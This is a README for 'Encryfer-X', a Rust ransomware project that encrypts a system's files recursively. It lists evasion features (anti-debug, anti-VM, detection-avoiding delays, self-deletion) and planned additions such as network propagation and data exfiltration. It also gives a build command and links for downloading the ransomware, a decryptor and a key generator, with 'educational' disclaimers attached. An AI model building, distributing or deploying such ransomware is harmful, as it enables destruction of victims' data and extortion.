Rust-for-Malware-Development
Encryfer-X Ransomware V1.1 [Demo]
Pronunciation: En-cry-fer-X
Encryfer-X is malicious software written in Rust, designed to encrypt files on an infected system. It recursively scans the system and applies strong encryption algorithms to render files inaccessible. A decryption tool is required to recover encrypted files.
Created by @5mukx
Algorithms Used: AES-256, ChaCha20Poly1305
⚠️ Note: This ransomware is in an early stage, created for educational and research purposes only. It is not intended to harm or disrupt others.
Features
- Parallel data encryption for stealth and speed
- Anti-debug techniques (99% pass rate)
- Anti-VM techniques
- Enhanced encryption methods
- Volume-based decryption
- Random delay (10-100ms) during encryption to evade detection
- Self-deletion techniques (on timer or reboot)
Future Plans (Private):
- Polymorphic implementations
- Fileless execution
- Network propagation
- Data exfiltration
- Code obfuscation
- Time bombs
How to Execute
⚠️ Warning: This content is for educational purposes only. The author is not responsible for misuse or negative consequences resulting from the use of this tool.
⚠️ Note: All features, including recursive volume encryption, are enabled by default. To test safely, comment out or modify the relevant functions.
To build the code:
cargo build --release
The binary file is located at: ./target/release/Encryfer-X.exe
⚠️ Note: You need two components: a 32-byte AES key and an encrypted hex value containing AES-256 with ChaCha20Poly1305.
- Demo Video: Tweet
- Decryption Tool: Encryfer-X-Decryptor
- Key Generator: Random-Keys-Generator
- More Offensive Code: Rust for Malware Development
- Download Bundle (Decryptor + Key Generator): Link
- Download Encryfer-X: Link
- Follow for Resources: @5mukx